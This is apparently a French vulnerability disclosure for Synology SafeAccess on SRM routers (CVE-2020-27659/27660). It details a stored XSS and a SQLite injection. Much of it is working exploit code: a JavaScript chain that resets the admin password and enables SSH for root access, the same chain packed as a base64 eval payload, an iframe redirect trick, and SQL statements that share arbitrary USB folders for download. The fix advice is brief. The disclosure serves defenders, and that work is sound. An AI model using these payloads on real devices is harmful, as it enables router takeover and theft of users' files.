Synology SA-20:25 : SafeAccess - Plusieurs vulnérabilités

CVE CVE-2020-27659 CVE CVE-2020-27660 Synology SA-20:25

SRM 1.2.3-8017 Update 4 Safe Access 1.2.1-0220

Historique

Résumé

La première vulnérabilité décrite dans le rapport est une XSS stockée exploitant plusieurs pages. Si un attaquant exploite cette vulnérabilité, la session de l’utilisateur admin peut être utilisée pour exécuter une action sur le routeur comme changer le mot de passe admin et activer le service SSH pour prendre le contrôle du routeur.

La deuxième vulnérabilité est une injection SQLite conduisant à une édition de fichier SQLite arbitraire sur le système. Un attaquant peut par exemple modifier la base de données fbsharing.db pour exposer les répertoires internes et télécharger tous les fichiers accessibles via l’application “File Station”.

XSS Stockée

Détails

Une XSS se produit lorsqu’un utilisateur envoie une requête pour accéder à un site web bloqué par SafeAccess. Le domaine est affiché sur le journal d’activité et les rapports de SafeAccess. Si l’administrateur visite une de ces pages vulnérables, l’attaquant peut utiliser l’API SRM avec JavaScript et modifier le mot de passe de l’administrateur. Ensuite, l’attaquant peut activer SSH et obtenir un accès distant au routeur en tant que root.

L’exploit nécessite :

Exploitation

Tout d’abord, pour tester le comportement normal, nous envoyons une requête pour demander à l’administrateur l’accès à un domaine bloqué.

image-20200501163909763

Le domaine n’a pas besoin d’être dans la liste de blocage, mais un profil doit être configuré sur SafeAccess.

Nous pouvons voir la requête dans le journal d’activité

image-20200501164009608

Pour confirmer la XSS, nous pouvons utiliser une charge malveillante simple pour afficher une boite de dialogue sur la page web.

image-20200501164246877

Le contenu est chargé sur la page de manière dynamique, nous utilisons donc une XSS basée sur les événements.

<img src=x onerror=alert("XSS")>

Nous pouvons voir que la XSS est déclenchée

image-20200501164411218

Pour notre partie JavaScript de l’exploit, nous avons besoin de plusieurs étapes :

Voici le code pour obtenir le nom de l’administrateur :

var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.onreadystatechange = function() { 
    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
      var name = JSON.parse(this.response)['data']['result'][0]['data']['users'][0]['name']);
    }
}
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Group.Member%22,%22method%22:%22list%22,%22version%22:1,%22group%22:%22administrators%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

Voici le code pour changer le mot de passe administrateur (le nouveau mot de passe est “adminpassword”) :

var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=true&compound=%5B%7B%22api%22%3A%22SYNO.Core.User%22%2C%22method%22%3A%22set%22%2C%22version%22%3A1%2C%22name%22%3A%22admin%22%2C%22password%22%3A%22adminpassword%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

Voici un code pour activer SSH :

var xhr = new XMLHttpRequest();
xhr.open("POST", '/webapi/_______________________________________________________entry.cgi', true);
xhr.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
xhr.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Terminal%22,%22method%22:%22set%22,%22version%22:%222%22,%22enable_ssh%22:true,%22ssh_hw_acc_cipher_only%22:false%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

Voici le code complet :

var entry_url = "/webapi/_______________________________________________________entry.cgi";
function get_xhr(){
    var x = new XMLHttpRequest();
    x.open("POST",entry_url , true);
    x.setRequestHeader("X-SYNO-TOKEN",_S("SynoToken"));
    return x
}
function send_compound(compound){
  get_xhr().send("stop_when_error=false&compound="+compound+"&api=SYNO.Entry.Request&method=request&version=1");
}
var x = get_xhr();
x.onreadystatechange = function() { 
    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
          var name = JSON.parse(this.response)['data']['result'][0]['data']['users'][0]['name'];
  send_compound("%5B%7B%22api%22%3A%22SYNO.Core.User%22%2C%22method%22%3A%22set%22%2C%22version%22%3A1%2C%22name%22%3A%22"+name+"%22%2C%22password%22%3A%22adminpassword%22%7D%5D");
      send_compound("%5B%7B%22api%22:%22SYNO.Core.Terminal%22,%22method%22:%22set%22,%22version%22:%222%22,%22enable_ssh%22:true,%22ssh_hw_acc_cipher_only%22:false%7D%5D");
    }
}
x.send("stop_when_error=false&compound=%5B%7B%22api%22:%22SYNO.Core.Group.Member%22,%22method%22:%22list%22,%22version%22:1,%22group%22:%22administrators%22%7D%5D&api=SYNO.Entry.Request&method=request&version=1");

Pour l’envoyer facilement, nous réduisons le code JavaScript et l’encodons en base64.

La partie finale du JavaScript est :

eval(atob("ZnVuY3Rpb24gZygpe3ZhciBhPW5ldyBYTUxIdHRwUmVxdWVzdDtyZXR1cm4gYS5vcGVuKCdQT1NUJyxlLCEwKSxhLnNldFJlcXVlc3RIZWFkZXIoJ1gtU1lOTy1UT0tFTicsX1MoJ1N5bm9Ub2tlbicpKSxhfWZ1bmN0aW9uIHMoYSl7ZygpLnNlbmQoJ3N0b3Bfd2hlbl9lcnJvcj1mYWxzZSZjb21wb3VuZD0nK2ErJyZhcGk9U1lOTy5FbnRyeS5SZXF1ZXN0Jm1ldGhvZD1yZXF1ZXN0JnZlcnNpb249MScpfXZhciBlPScvd2ViYXBpL19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19lbnRyeS5jZ2knLHg9ZygpO3gub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYodGhpcy5yZWFkeVN0YXRlPT09WE1MSHR0cFJlcXVlc3QuRE9ORSYmdGhpcy5zdGF0dXM9PT0yMDApe3ZhciBhPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSkuZGF0YS5yZXN1bHRbMF0uZGF0YS51c2Vyc1swXS5uYW1lO3MoJyU1QiU3QiUyMmFwaSUyMiUzQSUyMlNZTk8uQ29yZS5Vc2VyJTIyJTJDJTIybWV0aG9kJTIyJTNBJTIyc2V0JTIyJTJDJTIydmVyc2lvbiUyMiUzQTElMkMlMjJuYW1lJTIyJTNBJTIyJythKyclMjIlMkMlMjJwYXNzd29yZCUyMiUzQSUyMmFkbWlucGFzc3dvcmQlMjIlN0QlNUQnKSxzKCclNUIlN0IlMjJhcGklMjI6JTIyU1lOTy5Db3JlLlRlcm1pbmFsJTIyLCUyMm1ldGhvZCUyMjolMjJzZXQlMjIsJTIydmVyc2lvbiUyMjolMjIyJTIyLCUyMmVuYWJsZV9zc2glMjI6dHJ1ZSwlMjJzc2hfaHdfYWNjX2NpcGhlcl9vbmx5JTIyOmZhbHNlJTdEJTVEJyl9fSx4LnNlbmQoJ3N0b3Bfd2hlbl9lcnJvcj1mYWxzZSZjb21wb3VuZD0lNUIlN0IlMjJhcGklMjI6JTIyU1lOTy5Db3JlLkdyb3VwLk1lbWJlciUyMiwlMjJtZXRob2QlMjI6JTIybGlzdCUyMiwlMjJ2ZXJzaW9uJTIyOjEsJTIyZ3JvdXAlMjI6JTIyYWRtaW5pc3RyYXRvcnMlMjIlN0QlNUQmYXBpPVNZTk8uRW50cnkuUmVxdWVzdCZtZXRob2Q9cmVxdWVzdCZ2ZXJzaW9uPTEnKQ=="))

Nous pouvons maintenant envoyer la demande de “déblocage du domaine malveillant” :

image-20200501173235161

Maintenant, nous visitons le journal d’activité de SafeAccess pour déclencher la XSS (l’Administrateur peut recevoir un lien direct pour accepter par email s’il est configuré) :

image-20200501173419221

Enfin, nous pouvons nous connecter au routeur en tant que root

image-20200501173635879

Note

La XSS est également présent sur les rapports d’activité.

image-20200501174321029

Si l’administrateur accède au rapport, la XSS sera déclenchée

image-20200501174356242

Mais sur cette interface, il n’est pas possible d’obtenir le X-SYNO-TOKEN et donc, d’utiliser l’API Synology.

La solution de contournement est de rediriger l’utilisateur vers l’application en utilisant un lien comme celui-ci :

/webman/index.cgi?launchApp=SYNO.SafeAccess.Application&launchParam=fn%3DSYNO.SafeAccess.Activity.TabPanel%26tabname%3Daccess_request

C’est possible avec :

Un code JS valide peut être :

if(window.self == window.top){
var i = document.createElement('iframe');
i.src = "/webman/index.cgi?launchApp=SYNO.SafeAccess.Application&launchParam=fn%3DSYNO.SafeAccess.Activity.TabPanel%26tabname%3Daccess_request";
document.body.appendChild(i);
}

Correction

Pour corriger cette vulnérabilité, je conseille d’aborder deux points :

SQLite Injection

Détails

La même requête est vulnérable à une injection SQLite. J’ai identifié un moyen d’accéder au fichier des dossiers partagés en utilisant cette injection.

Exploitation

Le paramètre domain n’est pas correctement géré pour se protéger contre l’injection SQLite. Pour confirmer la vulnérabilité, nous allons essayer de définir la version de SQLite comme domaine.

image-20200501181500003

Nous pouvons voir sur l’interface du journal d’activité que le routeur utilise la version 3.27 de SQLite.

image-20200501181848469

SQLite permet d’attacher une base de données pour la modifier directement. Je choisis la base de données “fbsharing.db” contenant les informations des dossiers de partage.

Par défaut, ce fichier n’existe pas. Pour le créer, nous devons partager au moins un fichier ou un dossier.

Un périphérique USB doit être branché sur le routeur pour pouvoir utiliser la File Station.

Pour démontrer l’exploitation, nous pouvons créer deux dossiers :

image-20200501183158152

Nous partageons le dossier “Shared file” et notre but est d’avoir accès aux “Super Secret Files

image-20200501183253622

Pour partager le dossier “Super Secret Files”, nous devons exécuter trois requêtes SQL :

ROLLBACK;
ATTACH DATABASE '' AS sharing ;
INSERT INTO sharing.sharingLinks VALUES("exploits",1024,"/","/usbshare1/",null,0,0,"admin","valid","true",null);

Nous pouvons exécuter ces requêtes avec l’injection SQLite :

image-20200501183820556

La réponse de cette requête est une erreur car l’injection SQLite se produit deux fois et ne fonctionne que lors de la première injection.

Le dossier partagé est correctement ajouté :

image-20200501184013023

Maintenant, nous pouvons accéder au nouveau dossier partagé :

http://192.168.1.1:8000/fbdownload/exploits?k=exploits&stdhtml=true

image-20200501184042710

Et nous pouvons accéder au dossier “Super Secret Files

image-20200501184113253

Correction

Pour corriger cette vulnérabilité, il est nécessaire d’utiliser une requête préparée pour exécuter correctement les requêtes SQLite.